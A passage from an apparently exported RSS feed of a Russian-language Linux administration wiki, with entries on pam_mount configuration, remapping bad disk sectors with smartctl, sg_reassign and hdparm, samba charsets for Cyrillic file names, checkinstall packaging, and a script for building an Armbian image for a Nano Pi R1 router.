По-умолчанию, модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt; имеет флаг &lt;strong&gt;optional&lt;/strong&gt; и располагается в файле &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt; после модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;, который имеет флаг &lt;strong&gt;sufficient&lt;/strong&gt;. &lt;br/&gt;

Таким образом модуль опциональный модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt;  игнорируется, при корректном прохождении  достаточного для аутентификации модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;. &lt;br/&gt;

Чтобы монтирование работало корректно нужно поставить строчку &lt;strong&gt;session optional        pam_mount.so&lt;/strong&gt;  перед строкой с &lt;strong&gt;pam_lsass.so&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0441\u0443\u0440\u0441\u044b \u043d\u0435 \u043c\u043e\u043d\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0438\u0434\u0438\u043c\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0441\u0443\u0440\u0441\u044b_\u043d\u0435_\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f_\u0431\u0435\u0437_\u0432\u0438\u0434\u0438\u043c\u044b\u0445_\u043f\u0440\u0438\u0447\u0438\u043d&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1506-2491&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;reenter_password_for_pam_mount&quot;&gt;reenter password for pam_mount:&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При монтировании &lt;strong&gt;pam_mount&lt;/strong&gt; просит ввести пароль. &lt;br/&gt;

Во-первых можно отключить ввод пароля с помощью опции &lt;strong&gt;disable_interactive&lt;/strong&gt; в файлах &lt;strong&gt;/etc/pam.d/common-auth&lt;/strong&gt; и &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. ее нужно указать в после названия модуля &lt;strong&gt;pam_mount.so&lt;/strong&gt; через пробел. Примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session optional        pam_mount.so disable_interactive&lt;/pre&gt;

&lt;p&gt;
Однако, это актуально если пароль у учетной записи пустой и такая настройка может привести к тому, что пароль не спрашивается, но и ресурсы не монтируются с сообщениями типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mount error(13): Permission denied&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;reenter password for pam_mount:&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;reenter_password_for_pam_mount&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2492-3382&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;mount_error_13permission_denied&quot;&gt;mount error(13): Permission denied&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Чтобы все работало правильно нужно в файлике &lt;strong&gt;/etc/pam.d/common-auth&lt;/strong&gt; вставить &lt;strong&gt;auth optional pam_mount.so&lt;/strong&gt; перед &lt;strong&gt;pam_lsass.so&lt;/strong&gt;. Примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth optional pam_mount.so
auth    [success=2 default=ignore]      pam_lsass.so try_first_pass
auth    [success=1 default=ignore]      pam_unix.so nullok_secure try_first_pass&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;mount error(13): Permission denied&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mount_error_13permission_denied&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3383-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>ремап-remap-сбоиных-секторов-диска-bad-blocks-в-linux</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%80%D0%B5%D0%BC%D0%B0%D0%BF-remap-%D1%81%D0%B1%D0%BE%D0%B8%D0%BD%D1%8B%D1%85-%D1%81%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2-%D0%B4%D0%B8%D1%81%D0%BA%D0%B0-bad-blocks-%D0%B2-linux</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;самотестирование_диска_с_помощью_smartctl&quot;&gt;Самотестирование диска с помощью smartctl&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем необходимый пакет &lt;strong&gt;smartmontools&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install smartmontools&lt;/pre&gt;

&lt;p&gt;
Существуют два вида тестов - &lt;strong&gt;foreground&lt;/strong&gt; (когда диск в ответ на все команды имеет статус &lt;strong&gt;CHECK CONDITION&lt;/strong&gt;) и &lt;strong&gt;background&lt;/strong&gt; - когда диск остается работоспособным.&lt;br/&gt;

Тесты бывают &lt;strong&gt;short&lt;/strong&gt; и &lt;strong&gt;long&lt;/strong&gt;.&lt;br/&gt;

&lt;strong&gt;Short&lt;/strong&gt; - ограничен по времени и тестирует только часть диска. &lt;br/&gt;

&lt;strong&gt;Long&lt;/strong&gt; -  аналогичен финальному тестированию на производстве, не ограничен по времени и тестирует весь диск.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Запускаем “длинный” тест, который можно запускать прямо во время работы системы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -t long /dev/sdb&lt;/pre&gt;

&lt;p&gt;
Узнать сколько времени займет тот или иной тест можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -c /dev/sdc
  ...
Self-test execution status:      ( 249) Self-test routine in progress...
                                        90% of test remaining.
Total time to complete Offline 
data collection:                ( 1211) seconds.
  ...&lt;/pre&gt;

&lt;p&gt;
После того как он закончится смотрим результат с помощью команды &lt;strong&gt;smartctl -l selftest /dev/sdb&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -l selftest /dev/sdb
smartctl 5.40 2010-07-12 r3124 [x86_64-unknown-linux-gnu] (local build)
Copyright (C) 2002-10 by Bruce Allen, http://smartmontools.sourceforge.net

=== START OF READ SMART DATA SECTION ===
SMART Self-test log structure revision number 1
Num  Test_Description    Status                  Remaining  LifeTime(hours)  LBA_of_first_error
# 1  Extended offline    Completed: read failure       90%     28243         1048784&lt;/pre&gt;

&lt;p&gt;
Также можно протестировать только часть диска. Команда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -t select,10-20 /dev/sdc&lt;/pre&gt;

&lt;p&gt;
протестирует сектора с 10 по 20 включительно. &lt;br/&gt;

Кроме того, можно одной командой протестировать несколько диапазонов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -t select,0-10 -t select,5-15 -t select,10-20 /dev/sdc&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

 Запустить &lt;strong&gt;foreground&lt;/strong&gt; тест можно, указав опцию &lt;strong&gt;-C&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -t  long -C /dev/sdc&lt;/pre&gt;

&lt;p&gt;
Короткий &lt;strong&gt;foreground&lt;/strong&gt; тест, который принудительно обновит значения параметров &lt;strong&gt;SMART&lt;/strong&gt; можно запустить так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo smartctl -t offline /dev/sda&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0430\u043c\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0438\u0441\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e smartctl&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0430\u043c\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0434\u0438\u0441\u043a\u0430_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_smartctl&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2791&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;утилиты_sg_verify_и_sg_reasign&quot;&gt;Утилиты sg_verify и sg_reasign&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Пакет утилит sg3-utils предназначен для работы с дисками на низком уровне, поддерживающими полный набор команд &lt;strong&gt;SCSI&lt;/strong&gt;. В настоящее время - это диски с интерфейсом &lt;strong&gt;SAS&lt;/strong&gt; (но не &lt;strong&gt;SATA&lt;/strong&gt;). &lt;br/&gt;

Обнаружить нечитающийся сектор можно, например, с помощью команды &lt;strong&gt;dd&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dd if=/dev/sdb of=/dev/null bs=4096&lt;/pre&gt;

&lt;p&gt;
Затем, когда dd сообщит об ошибке, с помощью  &lt;strong&gt;sg_verify&lt;/strong&gt; можно удостовериться, что проблема именно в том секторе:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sg_verify --lba=1193046 /dev/sdb
verify (10):  Fixed format, current;  Sense key: Medium Error
Additional sense: Unrecovered read error
Info fld=0x123456 [[1193046]]
Field replaceable unit code: 228
Actual retry count: 0x008b
medium or hardware error, reported lba=0x123456&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Зетем можно проверить, что размер &lt;strong&gt;GLIST&lt;/strong&gt; не очень велик и там есть место:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sg_reassign --grown /dev/sdb
&amp;gt;&amp;gt; Elements in grown defect list: 0&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Теперь можно выполнить переназначкение сектора и проверить, что размер &lt;strong&gt;GLIST&lt;/strong&gt; изменился:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sg_reassign --address=1193046 /dev/sdb
sudo sg_reassign --grown /dev/sdb
&amp;gt;&amp;gt; Elements in grown defect list: 1&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Размер &lt;strong&gt;GLIST&lt;/strong&gt; изменился на 1 - чего и следовало ожидать. В результате в переназначаемом секторе будет записан заданный производителем паттерн (либо - если сектор все-же удалось прочесть - его содержимое не изменится). &lt;br/&gt;

Также утилита &lt;strong&gt;sg_reassign&lt;/strong&gt; может выполнить переназначение группы секторов.
&lt;br/&gt;

Для дисков с интерфейсами &lt;strong&gt;SAS&lt;/strong&gt; и &lt;strong&gt;SATA&lt;/strong&gt; наборы команд для работы с переназначаемыми секторами различны. Диск с интерфейсом &lt;strong&gt;SAS&lt;/strong&gt; (неважно подключен он к &lt;strong&gt;SATA&lt;/strong&gt; или &lt;strong&gt;SAS&lt;/strong&gt; контроллеру) способен безусловно переназначить группу секторов в резервную область независимо от того, читаемы сектора или нет. 
Использование &lt;strong&gt;sg_reasign&lt;/strong&gt; для диска &lt;strong&gt;SATA&lt;/strong&gt; скорее всего никакого эффекта не даст.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0442\u0438\u043b\u0438\u0442\u044b sg_verify \u0438 sg_reasign&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0442\u0438\u043b\u0438\u0442\u044b_sg_verify_\u0438_sg_reasign&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2792-5532&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;переназначение_секторов_для_дисков_с_интерфейсом_sata&quot;&gt;Переназначение секторов для дисков с интерфейсом SATA&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для переназначения секторов на дисках с интерфейсом &lt;strong&gt;SATA&lt;/strong&gt; можно просто дать команду на перезапись этого сектора, либо воспользоваться &lt;strong&gt;hdparm&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm --repair-sector &lt;/pre&gt;

&lt;p&gt;
или 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm --write-sector&lt;/pre&gt;

&lt;p&gt;
Принципиальная разница между дисками &lt;strong&gt;SAS&lt;/strong&gt; и &lt;strong&gt;SATA&lt;/strong&gt; в том, что случае &lt;strong&gt;SAS&lt;/strong&gt; можно принудительно переназначить даже хороший сектор, а в случае &lt;strong&gt;SATA&lt;/strong&gt; переназначение при записи принимает контроллер диска.
При этом,этот вариант годится для обоих интерфейсов:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm --repair-sector 1000 /dev/sda&lt;/pre&gt;

&lt;p&gt;
или для группы секторов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for i in {1000..2000}; do sudo hdparm --repair-sector $i /dev/sda; done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u0434\u043b\u044f \u0434\u0438\u0441\u043a\u043e\u0432 \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c SATA&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435_\u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432_\u0434\u043b\u044f_\u0434\u0438\u0441\u043a\u043e\u0432_\u0441_\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c_sata&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5533-6593&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;аналог_mhdd_под_linux&quot;&gt;Аналог MHDD под Linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
С удивлением обнаружил наличие под &lt;strong&gt;Linux&lt;/strong&gt; некоторого аналога (по крайней мере визуально) популярной программы под DOS - &lt;strong&gt;MHDD&lt;/strong&gt;. &lt;br/&gt;

Речь идет об утилите, входящей в состав &lt;a href=&quot;http://www.system-rescue-cd.org/&quot; class=&quot;urlextern&quot; title=&quot;http://www.system-rescue-cd.org/&quot; rel=&quot;ugc nofollow&quot;&gt;SystemRescueCd&lt;/a&gt; - &lt;a href=&quot;https://github.com/whdd/whdd&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/whdd/whdd&quot; rel=&quot;ugc nofollow&quot;&gt;whdd&lt;/a&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043d\u0430\u043b\u043e\u0433 MHDD \u043f\u043e\u0434 Linux&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043d\u0430\u043b\u043e\u0433_mhdd_\u043f\u043e\u0434_linux&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;6594-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 30 Jan 2023 17:39:51 +0000</pubDate>
        </item>
        <item>
            <title>русские-буквы-в-названиях-шар-samba</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5-%D0%B1%D1%83%D0%BA%D0%B2%D1%8B-%D0%B2-%D0%BD%D0%B0%D0%B7%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%D1%85-%D1%88%D0%B0%D1%80-samba</link>
            <description>
&lt;p&gt;
Случаются проблемы с отображением русских имён файлов и папок при переносе физического тома &lt;strong&gt;NTFS&lt;/strong&gt; или &lt;strong&gt;VFAT&lt;/strong&gt; с &lt;strong&gt;Windows&lt;/strong&gt; на &lt;strong&gt;Linux&lt;/strong&gt; и расшаривании папок этого тома с помощью &lt;strong&gt;samba&lt;/strong&gt;. Для того, чтобы русские имена на шарах виндовых томов отображались корректно в  &lt;strong&gt;/etc/samba/smbd.conf&lt;/strong&gt; должны быть такие строки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dos charset = CP866
unix charset = KOI8-R
display charset = KOI8-R &lt;/pre&gt;

&lt;p&gt;
В результате - можно монтировать виндовый том прям в linux, расшаривать его самбой и русские имена файлов и папок будут на клиентах отображаться нормально.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 12 Nov 2019 09:20:59 +0000</pubDate>
        </item>
        <item>
            <title>сборка_пакетов_из_исходников_с_помощью_checkinstall</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BE%D0%B2_%D0%B8%D0%B7_%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_checkinstall</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;сборка_пакетов_deb_rpm_из_исходников&quot;&gt;Сборка пакетов deb, rpm из исходников&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для сборки установочных пакетов из исходников есть замечательная утилита &lt;strong&gt;checkinstall&lt;/strong&gt;. 
В двух словах - процесс сборки пакета из исходника заключается в следующем. 
Нужно добиться нормальной компиляции софтины их исходников, а потом запустить в директории с исходниками &lt;strong&gt;checkinstall&lt;/strong&gt; с нужными аргументами.
Для начала ставим сам &lt;strong&gt;checkinstall&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install checkinstall&lt;/pre&gt;

&lt;p&gt;
Например, вот так я собирал &lt;strong&gt;xorgrdp&lt;/strong&gt; и &lt;strong&gt;xrdp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd xrdp-0.9.2
sudo checkinstall --type=debian --install=no --default --pkgname=xrdp --pkgversion=0.9.2 --pkgsource=https://github.com/neutrinolabs/xrdp --pakdir=~/ --maintainer=mike@autosys.tk --autodoinst=yes 
cd ..
cd xorgxrdp-0.2.1
sudo checkinstall --type=debian --install=no --default --pkgname=xorgxrdp --pkgversion=0.2.1 --pkgsource=https://github.com/neutrinolabs/xorgxrdp/ --pakdir=~/ --maintainer=mike@autosys.tk --autodoinst=yes&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>сборка_системы_для_arm-роутера_на_pc</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B_%D0%B4%D0%BB%D1%8F_arm-%D1%80%D0%BE%D1%83%D1%82%D0%B5%D1%80%D0%B0_%D0%BD%D0%B0_pc</link>
            <description>
&lt;p&gt;
У меня есть такой роутер: &lt;a href=&quot;https://wiki.autosys.tk/home/router?s[]=nano&amp;amp;s[]=pi#nano_pi_r1_1gb&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.autosys.tk/home/router?s[]=nano&amp;amp;s[]=pi#nano_pi_r1_1gb&quot; rel=&quot;ugc nofollow&quot;&gt;Nano Pi R1 &lt;/a&gt; и я бы хотел собрать для него образ &lt;a href=&quot;https://freedombox.org/ FreedomBox&quot; class=&quot;urlextern&quot; title=&quot;https://freedombox.org/ FreedomBox&quot; rel=&quot;ugc nofollow&quot;&gt;https://freedombox.org/ FreedomBox&lt;/a&gt;. &lt;br/&gt;

И собирать его я бы хотел на PC. &lt;br/&gt;

Вот тут много информации (хотя и не всегда свежей) о сборке и загрузке debian на платформах Allwinner - &lt;a href=&quot;https://wiki.debian.org/InstallingDebianOn/Allwinner&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.debian.org/InstallingDebianOn/Allwinner&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.debian.org/InstallingDebianOn/Allwinner&lt;/a&gt;. &lt;br/&gt;

Тем, кому не хочется ничего собирать - &lt;a href=&quot;https://www.armbian.com/nanopi-r1/&quot; class=&quot;urlextern&quot; title=&quot;https://www.armbian.com/nanopi-r1/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.armbian.com/nanopi-r1/&lt;/a&gt; и если хочется, но не вдаваясь в подробности - &lt;a href=&quot;https://github.com/armbian/build&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/armbian/build&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/armbian/build&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;armbian&quot;&gt;Armbian&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке загрузить образ &lt;strong&gt;Armbian_20.02.1_Nanopi-r1_buster_current_5.4.20.img&lt;/strong&gt; система останавливалась при попытке распаковать ядро:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Starting kernel ...

Uncompressing Linux... done, booting the kernel.&lt;/pre&gt;

&lt;p&gt;
В итоге &lt;strong&gt;Armbian&lt;/strong&gt; удалось загрузить так:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Берем официальный образ &lt;strong&gt;nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img&lt;/strong&gt;. На нем три раздела. Подключаем &lt;strong&gt;loop-device&lt;/strong&gt; и потом монтируем куда-то: &lt;pre class=&quot;code&quot;&gt; sudo partx -a -v ./nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Берем образ &lt;strong&gt;armbian&lt;/strong&gt; и также подключаем его как &lt;strong&gt;loop-device&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Берем с образа &lt;strong&gt;armbian&lt;/strong&gt; из директории &lt;strong&gt;boot&lt;/strong&gt; файлики &lt;strong&gt;zImage&lt;/strong&gt; и &lt;strong&gt;initrd&lt;/strong&gt; (вернее файлики на которые указывают эти симлинки), а также &lt;strong&gt;sun8i-h3-nanopi-r1.dtb&lt;/strong&gt; и переносим их на официальный образ в раздел &lt;strong&gt;boot&lt;/strong&gt; (заменив старые). Переименовываем &lt;strong&gt;initrd&lt;/strong&gt; - на официальном образе он называется &lt;strong&gt;rootfs.cpio.gz&lt;/strong&gt;. Остальные &lt;strong&gt;dtb&lt;/strong&gt; с официального образа удаляем, во избежание путаницы.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 На официальном образе удаляем всё с раздела &lt;strong&gt;rootfs&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Переносим всю файловую систему с единственного раздела образа &lt;strong&gt;armbian&lt;/strong&gt; на раздел &lt;strong&gt;rootfs&lt;/strong&gt; официального образа: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rsync -av ./source ./destination&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Отмонтируем &lt;strong&gt;loop&lt;/strong&gt;-устройства и заливаем официальный образ (c ядром, initrd и файловой системой от armbian), на флеху.
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;
Для сборки загружающегося образа я сделал скриптец:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
armbian_img=&amp;#039;Armbian_20.05.0-trunk_Nanopi-r1_bionic_current_5.4.32.img&amp;#039;
friendlyarm_img=&amp;#039;nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img&amp;#039;

echo &amp;#039;Copying Original FriendlyARM image...&amp;#039;
cp $friendlyarm_img &amp;quot;Armbian_bootable.img&amp;quot;

mkdir ./original_armbian
mkdir ./bootable_armbian_boot
mkdir ./bootable_armbian_rootfs

armbian_offset=`/sbin/fdisk -lu $armbian_img | grep ${armbian_img}1 | awk &amp;#039;{ print $2}&amp;#039;`

echo &amp;quot;Armbian partition Offset - &amp;quot; $(( $armbian_offset * 512 ))

mount -o loop,offset=$(($armbian_offset * 512)) $armbian_img ./original_armbian

friendlyarm_boot_offset=`/sbin/fdisk -lu $friendlyarm_img | grep ${friendlyarm_img}1 | awk &amp;#039;{ print $2}&amp;#039;`
friendlyarm_rootfs_offset=`/sbin/fdisk -lu $friendlyarm_img | grep ${friendlyarm_img}2 | awk &amp;#039;{ print $2}&amp;#039;`

mount -o loop,offset=$(($friendlyarm_boot_offset * 512)) ./Armbian_bootable.img ./bootable_armbian_boot

echo &amp;quot;Copying kernel...&amp;quot;
cp -L ./original_armbian/boot/zImage ./bootable_armbian_boot/zImage

echo &amp;quot;Copying initrd...&amp;quot;
cp -L ./original_armbian/boot/uInitrd ./bootable_armbian_boot/rootfs.cpio.gz

echo &amp;quot;Copying DTB&amp;quot;
rm -f ./bootable_armbian_boot/sun8i*.dtb
cp ./original_armbian/boot/dtb/sun8i-h3-nanopi-r1.dtb ./bootable_armbian_boot/

umount ./bootable_armbian_boot

mount -o loop,offset=$(($friendlyarm_rootfs_offset * 512)) ./Armbian_bootable.img ./bootable_armbian_rootfs
rm -Rf ./bootable_armbian_rootfs/*

echo &amp;quot;Copying rootfs&amp;quot;
rsync -a ./original_armbian/ ./bootable_armbian_rootfs/
rm -rf ./bootable_armbian_rootfs/boot/*

umount ./bootable_armbian_rootfs
umount ./original_armbian

echo &amp;#039;Done!&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Armbian&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;armbian&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;747-4445&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit2&quot; id=&quot;проблемы&quot;&gt;Проблемы&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
В один прекрасный момент интернет, который раздавал этот роутер отвалился. В журнале обнаружилось вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[482827.380398] ------------[ cut here ]------------
[482827.380448] WARNING: CPU: 0 PID: 0 at net/sched/sch_generic.c:448 dev_watchdog+0x213/0x214
[482827.380459] NETDEV WATCHDOG: eth1 (r8152): transmit queue 0 timed out
[482827.380466] Modules linked in: nft_masq nft_nat nft_chain_nat nf_nat nft_counter nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables_set nf_tables nfnetlink evdev brcmfmac brcmutil cfg80211 lima sun8i_codec_analog snd_soc_simple_card sun4i_gpadc_iio sun8i_adda_pr_regmap sun4i_i2s snd_soc_simple_card_utils gpu_sched rfkill snd_soc_core industrialio snd_pcm_dmaengine sun8i_thermal snd_pcm cdc_ether snd_timer usbnet option snd r8152 soundcore usb_wwan usbserial sunxi_cedrus(C) v4l2_mem2mem uio_pdrv_genirq gpio_keys uio cpufreq_dt zram sch_fq_codel usb_f_acm u_serial g_serial libcomposite ip_tables x_tables pwrseq_simple uas realtek
